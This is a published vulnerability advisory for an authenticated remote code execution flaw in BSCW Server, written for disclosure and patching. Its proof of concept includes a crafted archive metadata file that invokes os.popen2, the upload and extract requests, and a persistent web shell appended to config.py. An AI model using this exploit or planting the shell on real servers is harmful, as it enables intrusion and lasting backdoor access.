BSCW Server Remote Code Execution

2021.09.06
Credit: Armin Stock
Risk: High
Local: No
Remote: Yes


CVSS Base Score: 6.5/10
Impact Subscore: 6.4/10
Exploitability Subscore: 8/10
Exploit range: Remote
Attack complexity: Low
Authentication: Single time
Confidentiality impact: Partial
Integrity impact: Partial
Availability impact: Partial

SEC Consult Vulnerability Lab Security Advisory < 20210827-0 > ======================================================================= title: Authenticated RCE product: BSCW Server vulnerable version: BSCW Server <=5.0.11, <=5.1.9, <=5.2.3, <=7.3.2, <=7.4.2 fixed version: 5.0.12, 5.1.10, 5.2.4, 7.3.3, 7.4.3 CVE number: CVE-2021-39271 impact: high homepage: https://www.bscw.de/classic/ found: 2021-06-30 by: Armin Stock (Atos Germany) SEC Consult Vulnerability Lab An integrated part of SEC Consult, an Atos company Europe | Asia | North America https://www.sec-consult.com ======================================================================= Vendor description: ------------------- "A versatile system for any field of application BSCW Classic is in use around the world. With more than 500 functions, it offers the right solution for every task. Turn your ideas into reality! Our proven system has been supporting information flow and knowledge management at numerous companies for more than 20 years." Source: https://www.bscw.de/en/classic/ Business recommendation: ------------------------ The vendor provides a patched version for the affected products which should be installed immediately. Vulnerability overview/description: ----------------------------------- 1) Authenticated RCE The application allows a user with low privileges to upload different kind of archives (`ZIP`, `tar`, `RFC822`) and extract them on the server. During the extraction process a special file (`.bscw`) is processed to attach metadata to the files created during extraction. This metadata file contains an attribute (`class`), which is later used to instantiate a class/call a function to create the desired object. As there is no allow-list implemented to limit the class/function which can be called, it is possible to call an arbitrary `Python` function. During the function call there are two parameters provided, where the first is controlled by the attacker (a element from the metadata file: `bscw:name`). Proof of concept: ----------------- 1) Authenticated RCE The first step is to create an archive with a malicious `.bscw` file. $ zip ../data.zip ./.bscw ./* ------------------------------------------------------------------------------- <?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE bscwarc SYSTEM "http://bscw.de/bscw/bscwarc.dtd"> <bscwarc id="local.bscw:80H.sec" server="http://bscw.local" timestamp="20210630T123242Z" pathsep="\\"> <metadata xmlns:bscw_doc="http://bscw.de/bscw/elements/0.1/doc/" xmlns:bscw="http://bscw.de/bscw/elements/0.1/" > <obj ctime="1624530343.92" creator="admin" id="214" mtime="1625049949.51" path="Its_me.txt" type="text/html; charset=UTF-8" class="<CLASS/FUNCTION to call>" > <bscw:description></bscw:description> <bscw_doc:mimetype>HTML Document</bscw_doc:mimetype> <bscw:name>CONTENT OF FIRST PARAMTER</bscw:name> </obj> </metadata> </bscwarc> ------------------------------------------------------------------------------- Then the archive can be uploaded to a folder (OID: 267), where the user has write access to: ------------------------------------------------------------------------------- PUT /sec/bscw.cgi/267/data.zip HTTP/1.1 Host: bscw.local:8080 User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0 Accept: */* Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Content-Type: application/zip Content-Length: 1559 DNT: 1 Connection: close Cookie: bscw_auth="<USER_AUTH_COOKIE>" PK..... ------------------------------------------------------------------------------- After uploading the archive the `extract` operation can be called for the new created file object (OID: 1179): ------------------------------------------------------------------------------- GET /sec/bscw.cgi/267?op=extract&id=267_1179 HTTP/1.1 Host: bscw.local:8080 User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate DNT: 1 Connection: close Referer: http://bscw.local:8080/sec/bscw.cgi/267 Cookie: bscw_auth="<USER_AUTH_COOKIE>" Upgrade-Insecure-Requests: 1 ------------------------------------------------------------------------------- During the extraction the function from the `class` attribute is located and called. ------------------------------------------------------------------------------- # File: bs_extract.py def createArtifact(self, request, tree, user, target=None): """create artifact for user and add to target returns tuple (artifact, oldid) - or (None, None) """ # .... # Locating the class/function # klass = metadata 'class' attribute klass_tuple = klass.split('.') klass_name = klass_tuple[(-1)] klass_modul = ('.').join(klass_tuple[:-1]) try: modul = __import__('bscw').module(klass_modul) except ImportError as ie: log_arc.warning('ImportError: %s ', str(ie)) klass = 'bscw.core.cl_folder.Folder' modul = None if modul and hasattr(modul, klass_name): constructor = getattr(modul, klass_name) else: constructor = None # .... # Large if else construct for handling different known classes if klass == 'bscw.core.cl_folder.Folder' or bscw_xml and klass in FOLDER_CLASSES: log_arc.debug('createArtifact: create Folder (for %s)', klass_name) lname = legalized_name(Folder, name) # ... # If klass is unknown the following code is executed # name = metadata object element 'bscw:name' # user = <bscw.core.cl_user.User>(logged in user) if constructor: assert callable(constructor), 'artifact constructor is callable' try: artifact = constructor(name, user) lname = artifact.set_name(name, autolegalize=True) except Exception as e: return self.failed(klass, e, fname=fname) ------------------------------------------------------------------------------- To exploit this code we need a function which can be invoked like: `GADGET(arg1 : str, arg2 : bscw.core.cl_user.User)`. Fortunately `BSCW Classic` requires `Python 2.X`, which has the function `os.popen2`. ------------------------------------------------------------------------------- os.popen2(cmd[, mode[, bufsize]]) Execute cmd as a sub-process and return the file objects (child_stdin, child_stdout). Deprecated since version 2.6: This function is obsolete. Use the subprocess module. Check especially the Replacing Older Functions with the subprocess Module section. Availability: Unix, Windows. New in version 2.0. ------------------------------------------------------------------------------- The first parameter is the command line which is executed in a shell context. The second parameter is `mode` which should be `"w"` or `"r"`, but it falls back to the default if the type is not correct (in contrary to `os.popen`). ------------------------------------------------------------------------------- Python 2.7.18 (default, Apr 28 2021, 17:39:59) [GCC 10.2.1 20210110] on linux2 Type "help", "copyright", "credits" or "license" for more information. >>> import os >>> os.popen("whoami", dict()) Traceback (most recent call last): File "<stdin>", line 1, in <module> TypeError: popen() argument 2 must be string, not dict >>> os.popen2("whoami", dict()) (<open file '<fdopen>', mode 'wb' at 0x7ff98f42c780>, <open file '<fdopen>', mode 'rb' at 0x7ff98f42c660>) >>> ------------------------------------------------------------------------------- Providing `os.popen2` as value of the `class` attribute and `touch /tmp/foobar_poc.txt` as the value `bscw:name` element, the following code is executed: ------------------------------------------------------------------------------- os.popen2("touch /tmp/foobar_poc.txt", bscw.core.cl_user.User("UID")) ------------------------------------------------------------------------------- which creates the PoC file: ------------------------------------------------------------------------------- root@888df0c0b5f0:/opt/bscw/srv/bscw.local# ls -la /tmp/*poc* -rw-rw---- 1 www-data bscw 0 Jul 3 07:43 /tmp/foobar_poc.txt ------------------------------------------------------------------------------- But currently this is a blind RCE, because the result of the call is assigned to `artiface` and the method `.set_name` is called on the returned `tuple` (see above code). The extraction generates the following log entries: ------------------------------------------------------------------------------- 2021-06-24 14:33:53 cl_artifact on_archive_import 2464 DEBUG Artifact.on_archive_import(): bscw.core.cl_document.Document#1142 2021-06-24 14:33:53 bs_extract createArtifact 80 DEBUG createArtifact for node: ArchiveNode[#3]<touch /tmp/foobar.txt> path= childs=0 2021-06-24 14:33:53 bs_extract createArtifact 110 DEBUG createArtifact() node without file/folder: 'touch /tmp/foobar.txt' 2021-06-24 14:33:53 bs_extract createArtifact 134 DEBUG createArtifact xml:True isdir:True => klass=os.popen2 2021-06-24 14:33:53 bs_extract createArtifact 178 DEBUG createArtifact: <os.popen2> 'touch /tmp/foobar.txt' 2021-06-24 14:33:53 bs_extract createArtifact 197 DEBUG createArtifact: kmodul=os kname=popen2 modul=<module 'os' from '/usr/lib/python2.7/os.pyc'> constructor=<function popen2 at 0x7f12e7df1950> 2021-06-24 14:33:53 bs_extract failed 366 ERROR createArtifact: "os.popen2" failed: 'tuple' object has no attribute 'set_name' (touch /tmp/foobar.txt) ------------------------------------------------------------------------------- Simple persistent shell (CGI mode) To allow the attacker to execute commands and get the output of it, the file `<bscw_install>/conf/config.py` can be overwritten. The initial permissions of this file look like (user: `bscw`, group: `bscw`): ------------------------------------------------------------------------------- root@888df0c0b5f0:/opt/bscw/srv/bscw.local# ls -la conf/config.py -rw-rw---- 1 bscw bscw 83899 Jul 3 10:50 conf/config.py ------------------------------------------------------------------------------- In the normal setup, Apache is used to run the `bscw.cgi` script as its own user `www-data`. But fortunately the `bscw.cgi` binary has the `SGID` flag set, which sets the `effective GID` to `bscw`. This allows us to overwrite this file. ------------------------------------------------------------------------------- root@888df0c0b5f0:/opt/bscw/srv/bscw.local# ls -la var/www/bscw.cgi -rwxr-sr-x 2 bscw bscw 17064 Jun 18 22:07 var/www/bscw.cgi ------------------------------------------------------------------------------- The following simple shell can be installed on the system: ------------------------------------------------------------------------------- import os e_key = os.environ.get("HTTP_BSCW_K", "") e_cmd = os.environ.get("HTTP_BSCW_C", "") if e_key == "{KEY}" and e_cmd: try: print "Content-Type: text/plain\n" import sys, subprocess print subprocess.check_output(e_cmd.decode("base64"), shell=True, stderr=subprocess.STDOUT) except Exception as e: print e sys.exit(0) ------------------------------------------------------------------------------- This can be done with the shown command: ------------------------------------------------------------------------------- echo "<BASE64 encoded python shell code>" | base64 -d >> ./conf/config.py ------------------------------------------------------------------------------- After installing the shell, a simple HTTP request to the public endpoint can be used to execute the command and get the output: ------------------------------------------------------------------------------- GET /pub/bscw.cgi HTTP/1.1 Host: bscw.local:8080 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate DNT: 1 Connection: close Upgrade-Insecure-Requests: 1 BSCW-K: <KEY> BSCW-C: <@base64>ls -la<@/base64> ------------------------------------------------------------------------------- The response of the executed command "ls -la" is directly contained in the response of the web-server. ------------------------------------------------------------------------------- HTTP/1.1 200 OK Date: Sat, 03 Jul 2021 13:13:10 GMT Server: Apache/2.4.41 (Ubuntu) Vary: Accept-Encoding,User-Agent Content-Length: 806 Connection: close Content-Type: text/plain total 96 drwxr-xr-x 1 bscw bscw 4096 Jul 3 08:41 . drwxr-sr-x 1 bscw bscw 4096 Jun 18 22:07 .. lrwxrwxrwx 1 bscw bscw 52 Jun 18 22:07 20190717-1636-2b48861 -> /opt/bscw/lib/bscw-5.2.3-2b48861-py27/bscw/resources drwxrws--x 4 bscw bscw 4096 Jun 18 22:07 auto -rwxr-sr-x 2 bscw bscw 17064 Jun 18 22:07 bscw.cgi -rw-r--r-- 1 bscw bscw 2966 Jun 18 22:07 error401.html -rw-r--r-- 1 bscw bscw 9771 Jun 18 22:07 index.html.de -rw-r--r-- 1 bscw bscw 9586 Jun 18 22:07 index.html.en -rw-r--r-- 1 bscw bscw 9765 Jun 18 22:07 index.html.es -rw-r--r-- 1 bscw bscw 9791 Jun 18 22:07 index.html.fr -rw-r--r-- 1 bscw bscw 102 Jun 18 22:07 robots.txt lrwxrwxrwx 1 bscw bscw 52 Jun 18 22:07 static -> /opt/bscw/lib/bscw-5.2.3-2b48861-py27/bscw/resources ------------------------------------------------------------------------------- Vulnerable / tested versions: ----------------------------- BSCW Classic 5.2.3 was used to find the vulnerability. The vendor confirmed that following versions also affected by the vulnerability BSCW Server <=5.0.11, <=5.1.9, <=5.2.3, <=7.3.2, <=7.4.2 Vendor contact timeline: ------------------------ 2021-07-03: Vendor contacted via security@, asked for a PGP Key / SMIME certificate to encrypt communication 2021-07-06: Vendor contacted via support@, asked for a PGP Key / SMIME certificate to encrypt communication 2021-07-06: Vendor provided contact and PGP Key, Sent report to vendor 2021-07-06: Vendor confirmed the issue and is working on a patch 2021-07-07: Vendor provided a hotfix 2021-08-19: Vendor notified licenced customer about the issue and a patch 2021-08-27: Coordinated release of security advisory. Solution: --------- The vendor provides a patched version for the affected and supported products which should be installed immediately. Additional information can be viewed at the vendor's support page: Workaround: ----------- None Advisory URL: ------------- https://sec-consult.com/vulnerability-lab/ ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ SEC Consult Vulnerability Lab SEC Consult, an Atos company Europe | Asia | North America About SEC Consult Vulnerability Lab The SEC Consult Vulnerability Lab is an integrated part of SEC Consult, an Atos company. It ensures the continued knowledge gain of SEC Consult in the field of network and application security to stay ahead of the attacker. The SEC Consult Vulnerability Lab supports high-quality penetration testing and the evaluation of new offensive and defensive technologies for our customers. Hence our customers obtain the most current information about vulnerabilities and valid recommendation about the risk profile of new technologies. ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Interested to work with the experts of SEC Consult? Send us your application https://sec-consult.com/career/ Interested in improving your cyber security with the experts of SEC Consult? Contact our local offices https://sec-consult.com/contact/ ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Mail: research at sec-consult dot com Web: https://www.sec-consult.com Blog: http://blog.sec-consult.com Twitter: https://twitter.com/sec_consult EOF Armin Stock / @2021


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